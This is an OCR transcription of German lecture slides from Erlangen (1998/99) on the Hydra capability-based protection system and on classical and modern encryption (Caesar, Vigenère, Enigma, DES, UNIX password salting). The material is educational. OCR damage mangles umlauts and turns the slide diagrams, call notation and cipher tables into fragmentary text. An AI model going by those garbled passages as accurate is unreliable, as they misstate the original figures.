[0 Modifikationsrecht wird automatisch geléscht, wenn eine Capability Gber
einen Pfad geladen wird, auf dem eine der Capabilities kein
Modifikationsrecht besitzt

[0 Modifikationsrecht kann nicht Uber Rechteverstarkung erlangt werden

LNS

Datenbasis
es ist nicht moglich
LGP / :

0 GP M |0 fiirdenLNS, eine
1f GP i Capability auf die Daten

- Daten i zu erlangen, die

_ Modifikationen zulaf3t

- Load( (0,0), 1)
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4 Problem: Modifikation (3)

m Parameteribergabe

[0 Wegnahme des Modifikationsrecht bei Parametern stellt sicher, dal3 die
aufgerufene Prozedur keinerlei Veranderungen beim Aufrufer durchfiihren
kann

5 Problem: Ausbreitung von Capabilities

m Aufrufer will verhindern, dal3 eine Gibergebene Capability vom
Aufgerufenen an einen Dritten weitergegeben wird (Propagation
Problem)

[J Beispiel: Prozedur ,Drucken” soll niemandem eine Referenz auf die zu
druckenden Daten weitergeben kénnen
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5 Problem: Ausbreitung von Capabilities (2)

] Einfuhrung des Environment-Rechts ENVRTS

[ fir das Speichern oder Anflgen einer Capability an eine C-List muf3 die zu
speichernde Capability selbst das Environment-Recht besitzen

[0 Environment-Recht wird automatisch geléscht, wenn eine Capability Gber
einen Pfad geladen wird, auf dem eine der Capabilities kein Environment-
Recht besitzt

[0 Environment-Recht kann nicht Giber Rechteverstarkung erlangt werden
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5 Problem: Ausbreitung von Capabilities (3)

m Versuchte Weitergabe einer Capability an einen Dritten

Prozedur ,Drucke Datei

LNS
. Datei R,
GP
Al Sl 24 ,Dritter*
LNS, ey
-0
- GPM 0
ALSME 1
Call(0, 2,1, (-E)) Store( 0, (1, 0))
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Problem: Aufbewahrung von Capabilities

SP I

Aufrufer mochte sicher sein, dalR Aufgerufener keine Capabilities nach
der Bearbeitung des Aufrufs zurtickbehalten kann (Conservation
Problem)

Environment-Recht zusammen mit dem Aufrufmechanismus genigt

[0 Aufgerufener kann Capability ohne ENVRTS nicht weitergeben und folglich
nicht abspeichern

[0 der LNS des Aufrufs wird mit Beendigung des Aufrufs vernichtet, so daf3 die
ubergebenen Capabilities nicht zuriickbehalten werden kénnen

0 ENVRTS wirkt transitiv, so dal3 auch die tiber eine Parameter-Capability
gewonnenen Capabilities nicht weitergegeben werden kdnnen
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Problem: Informationsflu3begrenzung

SP I

Aufrufer mochte die Verbreitung von Informationen aus Ubergebenen
Parametern einschranken (Confinement Problem)

[ selektiv: bestimmte Informationen sollen nicht nach aul3en gelangen

[ global: gar keine Informationen sollen nach aul3en gelangen

[0 ENVRTS ist nicht ausreichend, da Prozedur den Dateninhalt von
Parameterobjekten kopieren kénnte (ENVRTS wirkt nur auf die Weitergabe
von Capabilities)

Hydra realisiert nur globale Informationsflul3begrenzung

Modifikationsrecht auf der Prozedur-Capability

[0 wenn kein Modifikationsrecht vorhanden ist, werden bei allen in den LNS
ubernommenen Capabilities die Modifikationsrechte ausgeschaltet
(gilt jedoch nicht fr Parameter)
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7 Problem: Informationsflul3begrenzung (2)

m Beispiel: Prozedur zur Steuerberechnung

[ die ibergebenen Beleg- und Buchhaltungsdaten sollen nicht weitergegeben
werden kdnnen

Prozedur ,Berechne Steuererklarung*

LNS
Belege G
* *
0 CME *
GPME- GPME- Dritter*
} LNS ey
-0
Belege e
-« | G 0
GPVET1 *
call( 0, 2, 1, (-E, —M) )
S i |
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8 Problem: Initialisierung

m Initialisierung von Objekten durch Prozeduren

0 Ubergabe eines Objekts und verschiedener Capabilities, mit denen das
Objekt initialisiert werden soll

[0 Problem: Parameter-Capabilities missen Environment-Recht besitzen
(sonst ist das zu initialisierende Objekt nicht arbeitsfahig), gleichzeitig soll
aber die Ausbreitung solcher Capabilities eingeschrankt werden

» Losung: Wegnahme des Modifikationsrechts auf der Prozedurcapability

[J Problem: Es mul3 verhindert werden, dal? die Prozedur in das zu
initialisierende Objekt eigene oder fremde Capabilities einsetzt, so dald es
spater Einflu3 auf das zu initialisierende Objekt nehmen kann

m Beispiel: Prozedur zur Initialisierung eines Katalogs bekommt
Capabilities auf die entsprechenden Dateien

[ es soll sichergestellt werden, dal? Prozedur keine eigenen Dateicapabilities
in den Katalog einftigt
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8 Problem Initialisierung (2)

[l Environment-Recht auf der Prozedur-Capability
[J wenn kein Environment-Recht vorhanden ist, werden bei allen in den LNS
ubernommenen Capabilities die Environment-Rechte ausgeschaltet
(gilt jedoch nicht fur Parameter)

00 durch das fehlende Environment-Recht kbnnen alle bereits vorhandenen
Capabilities nicht in das zu initialisierende Objekt gespeichert werden

Syst i 1
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8 Problem: Initialisierung (3)
m Beispiel: Initialisierung eines Katalogs
Prozedur ,Initialisiere Katalog“
LNS
.| Dateiliste L |
0 C . *
1] ALSME ALSME e
Loritter
2| ALSME Dateiliste . KatalogAL S M .
*
- —
GPME|o X GPME o
Dateien o rGPME|1 LNSpey
* | tGPME|2
Katalog I R
ALS 1
N
ALSME |2
Call(0,3,1,(0,2,0) -
Syst i |
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9 Ruckruf von Capabilities

m  Anwender méchte ausgegebene Capabilities fir ungultig erklaren
[ sofortiger Ruckruf — Ruckruf nach einiger Zeit erst wirksam
[0 dauerhafter Rickruf — Ruckruf nur zeitlich begrenzt wirksam
[ selektiver Ruckruf — Ruckruf fur alle Benutzer eines Objekts
[ partieller Ruckruf — Ruckruf aller Rechte an einem Objekt

[0 Recht zum Ruckruf: Ruckruf des Ruckrufrechts

[1 Hydra setzt sogenannte Aliase ein
[ Alias ist eine Indirektionsstufe zu Capabilities

[ Statt auf ein Objekt kénnen Capabilities auf Aliase verweisen und diese
wiederum auf andere Aliase oder schliel3lich auf das eigentliche Objekt

[0 Verbindung vom Alias zum Objekt kann gel6ést werden: Fehler beim Zugriff

[0 Recht zum Lésen der Verbindung ALLYRTS
(engl. ally = verbiinden)
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9 RuUckruf von Capabillities (2)

m Beispiel: Weitergabe einer ruckrufbaren Capability

LNS 1

0 GPME ,/\Datenobjekt

1|GPMEAL -

_ Alias

[0 LNS 1 kann Verbindung des Alias l6sen
LNS 2 (ALLYRTS notig)

[0 LNS 2 kann dann nicht mehr zugreifen

0 G [0 Wiederverbindung mdglich
(Originalcapability notig)

[0 Aliase kdnnen hintereinander auftreten
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9 Ruckruf von Capabilities (3)

m Beispiel: Aliasketten

SP I

LNS 1

0 GPME ,/\Datenobjekt
/\ .

1|GPMEAL A

LNS 2 LNS 3

1 G AL - 1 -
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Ruckruf von Capabilities (4)

SP I

Problem: Ruckruf wahrend der Bearbeitung eines Objekts
[ inkonsistente Zustande moglich

L6sung in Hydra
[0 Parameter-Capabilities, die durch eine rechteverstarkende
Parameterschablone angenommen werden, zeigen auf das Originalobjekt

Nachtell
[ nicht vertrauenswiuirdige Prozeduren kénnen rickruffreie Capability
erlangen

[0 Problem féllt in die selbe Kategorie wie rechteverstarkende
Parameterschablonen an sich
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9 Ruckruf von Capabilities (5)

m Beispiel:

LNS 1
Prozedur
0 CME - -
Datei GP M
11 GPMEAL * x [*
- . Datei GP M .
) LSGPM
Date Alias
0 ??
??
Ca”( O’ 2’ 1’ (_E)1 11 (_E))
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9 Ruckruf von Capabillities (6)
m Beispiel:
LNS 1
Prozedur
0 CM / _
Dateit GP M
11GPME AL £3 % |*
- . Datei GP M .
) LSGPM
_ LNS
. Alias
29
0 i . LSGPM |1
??
Call(0,2,1,(-E), 1, (-E))
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10 Garantierter Zugriff

m Schutz vor Ruckruf
[0 Modifizierende Benutzer eines Objekts
» kooperierende Benutzer: Ruckruf keine Gefahr
* nicht kooperierende Benutzer: Rickruf notig
[0 Benutzer eines Objekts ohne modifizierende Zugriffe
 Aufruf von Prozeduren ist unkritisch, da Aufrufe nicht rtickrufbar sind

* lesende Zugriffe auf Objekte sind kritisch:
Verhindern des Rickrufs ist jedoch nicht ausreichend
— Daten im Objekt kdnnten geldscht oder verfalscht werden
— Capabilities im Objekt oder deren Rechte kénnten entfernt werden

] Hydra fuhrt das Einfrierrecht (Freeze right FRZRTS) ein
[ Einfrieren nimmt Modifikationsrecht weg

[ ein Objekt kann nur gefroren werden, wenn alle Capabilities in der C-List
bereits das Einfrierrecht haben
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10 Garantierter Zugriff (2)

m Beispiel:
LNS 1
Katalog
ALS F -
GPWVF
GPVF
Datei Datei
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11

Bewertung von Hydra

SP I

Hydra demonstrierte die Beherrschbarkeit einer ganzen Reihen von
Sicherheitsproblemen

[1 Ergebnisse flossen in eine ganze Reihe von Systemen

[J reine Capability-basierte Systeme haben sich jedoch nie durchgesetzt

Hydras Probleme
[J lagen im wesentlichen nicht am Capability-Mechanismus
[1 es gabe keine verninftigen Editoren und Compiler

[0 Hardware besal keine Hardware zur Unterstlitzung von Paging

Systemprogrammierung | 1.81
0 Franz J. Hauck, Universitét Erlangen-Nurnberg, IMMD [V, 1998/1999 I-Security.fm 1999-02-02 09.53 '

Reproduktion jeder Art oder Verwendung dieser Unterlage, auler zu Lehrzwecken an der Universitat Erlangen-Niimberg, bedarf der Zustimmung des Autors,

Kryptographische Malsnhahmen

SP I

Verschlisseln und Entschliisseln vertraulicher Daten

[J aus den verschlisselten Daten soll die Originalinformation nur mit Hilfe
eines Schlissels restauriert werden konnen

[0 Schlussel bleibt geheim

Authentisierung
[0 Empfanger kann verifizieren, wer der Absender ist

Sicherer Kanal
[1 gesendete Informationen kénnen nicht gefalscht und verfalscht werden
[0 nur der adressierte Empfanger kann die Informationen lesen

[0 Empfanger kann den Absender authentisieren
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1.6 Kryptographische Malihahmen (2)

®m Funktionen
[ Verschlusselungsfunktion E (encrypt): E(K, T) =C
O Entschliusselungsfunktion D (decrypt): D(K, C) =T
[0 K = Schlussel, T= zu verschlisselnder Text/Daten

m Verwandte Schltssel
[ es gilt: K; und K5 sind verwandt, wenn gilt: OT: D( Ky, E(K;, T) )=T

m  Symmetrisches Verschlisselungsverfahren
Oesgilt: K; =K,
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1.6 Kryptographische Mal3ihahmen (3)

m Forderungen an ein Verschlisselungsverfahren
[0 Wenn K, unbekannt ist, soll es sehr aufwendig sein aus E( K;, T)das T zu
ermitteln (Entschlisselungsangriff)

[J Es soll sehr aufwendig sein aus Tund E( K;, T)den Schlissel K; zu ermitteln
(Klartextangriff)

[0 Bei asymmetrischen Verfahren soll es sehr aufwendig sein, aus K; den
Schlussel K, zu ermitteln und umgekehrt.
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1 Monoalphabetische Verfahren

m Verfahren nach Caesar

A/B|C|D|E|F|G|H|I|J|K|L|M|N[O|P[QIR[S[T|U[V|W|X]Y|Z]
FIGIH| I [J[K[LM|N|O|P[Q|R[S|T|U|VIW|X|Y[Z|A|B|C|D|E]

O Verschlusselungsfunktion: E: M - (M + k) mod 26
[ kist variierbar (26 Mdglichkeiten)

m Zufallige Substitution

AB|CID|E|F|G|H|I|J|K|L|M|N[O|P|QIR[S[T|U[V|W|X]Y|Z]
FIQIH|AlJ[u[L|G|N|s|P|W|R|O|T|C|V]Y|[X|M[Z|K|B|I |D|E]

[0 26! Mdglichkeiten
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1 Monoalphabetische Verfahren (2)

'] Nachtell
[ vollstandiges Ausprobieren maglich bei Caesar
[0 Haufigkeitsanalyse der Buchstaben
« flr eine Sprache gibt es haufigere Buchstaben, z.B. e im Deutschen

* durch die Haufigkeitsanalyse konnen die Mdglichkeiten stark
eingeschrankt werden; vollstdndiges Probieren wird ermoglicht
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2 Polyalphabetische Verschlisselung

®m Einsatz von vielen Abbildungen, die durch einen Schlissel ausgewahlt

werden

[1 Beispiel: Vigenére (Caesar-Verschlisselung mit zyklisch wiederholten
Folgen von Verschiebungswerten)

\AlB[cID[E[F[G[H[I]J[K[L[M[N]O[P[Q[R]S[T|U[VIW[X]|Y]Z]
AllalBlc|p|E[F[G[H[ I [3[K[L[M|N[O]P[Q|R[S|T[U]V|W|X]Y]|Z]
BlBIcIDIE[F[GIH[I]J[K[L[M[N]O[P[Q[RIS[T[U[VIW[X]Y[Z]A]
cllciple[Flc[H] 1 [3[K][L[M[N[O[P]Q[R[S|T[U|VIW[X]|Y[Z]|A]B]
D|DlE[F[G[H[1]J[K[L[M[N[O[P]Q[R[S[T|U[VIW[X]Y[Z]A[B]C]
E|E[F[c[H[1[a[k][L[M[N]O[P|Q[R[S|T[U]V|W[X]|Y[Z]A[B|C|D]
FllElclH[1]a[k[L|mM[N[o[P[Q[R[S[T|uU[VIW[X]Y[Z]A[B|C|D]E]

x|[x]y|[z]|a[B[c|D|E|F|G|H|I]J][K[LIMIN[O][P[Q[R[S|T|U|V W
vly[z|alB[c|p|E|F|GIH|I[J][K[LIMIN[O[P[Q[R[S|T|U|VIW|X]
x|z]alB[c|D|E|F|GIH| I |I[K[L[MIN][O[P[Q[R[S[T|U|V|W[X]Y]
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2 Polyalphabetische Verschlisselung (2)
[0 Auswahl der Zeile durch den entsprechenden Buchstaben des
Schlusselwortes
w1 [c[n[T[1][c[E[N]A[C[H[R[1]c[n[T} Onamnalext
IGIE[HIE| 1 [M|G|E[H|E| I [M[GIE[H|E| 1T Schiisselwort
(wiederholt)
icim|alL|B|lulMm| I |UIE|IK|T|XIM|J]|L|Bl— verschlisselter Text
A Gilt als nicht sicher
[0 Koinzidenzanalyse
[0 Haufigkeitsanalysen und Brute force Attacke
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Polyalphabetische Verfahren (3)

SP I

Koinzidenz

[0 Wahrscheinlichkeit fir zwei gleiche Buchstaben untereinander bei
umbrechendem Text

« zuféllige Buchstabenwahl:  3,8%
 englischer Text: 6,6%
[0 Brechen polyalphabetischer Verfahren
» Bestimmen der Koinzidenz fur verschiedene Textlangen
» Textlange mit héchster Koinzidenz ist wahrscheinlich Schlisseltextlange

» danach Haufigkeitsanalyse pro Buchstabe des Schliisseltexts
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One-Time Pad Verfahren

SP I

Theoretisch sicheres Verfahren

[ Liste von Zufallszahlen (soviele wie Zeichen in der Nachricht): r[i]

[0 Zeichen z[i] der Nachricht wird verschlisselt mit c[i] = (z[i] + r[i]) mod 26
[0 Empfanger braucht die gleiche Liste

[ theoretisch sicher, da aus dem c/] nicht auf z[] geschlossen werden kann

Praktisch unbrauchbar
[J echte Zufallszahlen nétig
[ lange Liste notig
* jede Liste kann nur einmal verwendet werden

* Liste muf3 so lang wie die Nachricht sein
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4 Rotormaschinen

m Drehende Scheiben verandern standig die Permutation
Tastatur Anzeige
Rotor 1 Rotor 2
[J Einstellen einer Anfangsposition fiir die Rotoren
[J bei jedem Zeichen wird erster Rotor um eine Position weitergedreht
[0 zweiter Rotor rotiert mit niedrigerer Geschwindigkeit
[0 zum Entschlisseln sind entsprechende Gegenstiicke notig
S :
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4 Rotormaschinen (2)
m Enigma
[J deutsche Chiffriermaschine aus dem zweiten Weltkrieg
[J drei Rotore und Reflektor
 Reflektor leitet Strom wieder bei einer anderen Position durch die Rotoren
zurlick: Verfahren wird symmetrisch
 Entschliisseln mit den gleichen Rotoren maglich
m Verfahren gilt als nicht sicher
[J Brute force Attacke: Collosus Computer
m Schlisseldemo
O http://www.ugrad.cs.jhu.edu/~russell/classes/enigma/
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4 Rotormaschinen
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5 Heutige symmetrische Verfahren

m DES (Data Encryption Standard, 1977)
[J entwickelt von IBM
[0 amerikanischer Standard (Kriegswaffe)
[ blockorientiertes Verfahren (64 Bit Block, 56 Bit Schlissel)
[116 Runden

[J gilt heute als nicht mehr ganz sicher, da Rechenleistung von Grol3rechnern
oder Rechenverbiinden zum Brechen manchmal ausreicht
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5 Heutige symmetrische Verfahren (2)

| 64 BitIN | | 64 BitOUT |
DES Blockdiagramm
\ Permutatlon \ \ Permutatlon \ J

16 Runden

vy Ly

32

Nach: Fumy/Riel3 1994
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5 Heutige symmetrische Verfahren (3)

m Tripple DES
[ dreifache Verschlisselung mit DES

[J Nutzung von drei oder mindestens zwei verschiedenen Schlisseln

m IDEA (International Data Encryption Algorithm)
[J Alternative zu DES
[0 64 Bit Blockgrol3e
[1 128 Bit Schlussel
[J keine Permutationen und S-Boxen
[J stattdessen: Addition, Multiplikation und XOR

[0 8 Runden und Output-Transformation

O Einsatz: z.B. PGP (Pretty Good Privacy)
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6 Beispiel: UNIX PalRwdrter

m PalRworter wurden zunéchst im Klartext gespeichert
[J PalRwortdatei mul3 streng geschiitzt werden
[ strenger Schutz oft nicht moglich (z.B. Backup der Platte)

[0 Superuser kann die PaRwdrter von Benutzern einsehen

m Verschlisseln der PalRworter
[ nur die verschlisselte Version wird gespeichert

[J verschlisselte PaRRworter dirfen nicht leicht entschliisselt werden kdnnen

A Ausprobieren von Pal3wortern
[J Benutzer wahlen Namen und Gegenstande als Pal3wort

[0 Verschlisseln von gangigen Begriffen und Vergleich mit verschltisselt
gespeicherten PalRwortern

[0 Verschlisselungszeit fliel3t mit ein in die Sicherheitsbetrachtung
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Beispiel: UNIX PalRwdorter (2)

SP I

Heutiges Verfahren
[ zufallige Auswahl eines von 4096 Werten (Salt)

[ der Salt fliel3t mit in die Verschlisselung ein, so dal3 ein und dasselbe
PalRwort in 4096 Varianten vorkommen kann

[0 Verschlisselung mit DES

[0 Zugriff auf verschliisselte Pa3wadrter wird weitestgehend verhindert
(Shadow-PaRwortdatei)

Vorteil
[J Ausprobieren von PalBwortern benoétigt mehr Zeit

O Vergleich zweier PalRworter weitgehend unmaoglich

Systemprogrammierung | 1.99
0 Franz J. Hauck, Universitét Erlangen-Nurnberg, IMMD [V, 1998/1999 I-Security.fm 1999-02-02 09.53 '

Reproduktion jeder Art oder Verwendung dieser Unterlage, auler zu Lehrzwecken an der Universitat Erlangen-Niimberg, bedarf der Zustimmung des Autors,

Beispiel: UNIX Pal3worter (3)

SP I

Politik am IMMD
[0 Mindestlange 8 Zeichen
[0 mindestens 5 verschiedene Zeichen

[0 mindestens 3 Zeichenklassen
(Gro3-, Kleinbuchstaben, Ziffern, Sonderzeichen)

[ keine Wiederholungen von Zeichenfolgen erlaubt
[ keine aufeinanderfolgenden Zeichen erlaubt, z.B. "123"
O...

[J Begriffe, Namen, etc. werden ausgeschlossen und mussen hinreichend
verfremdet sein

Angriff durch Ausprobieren wird weitestméglich erschwert
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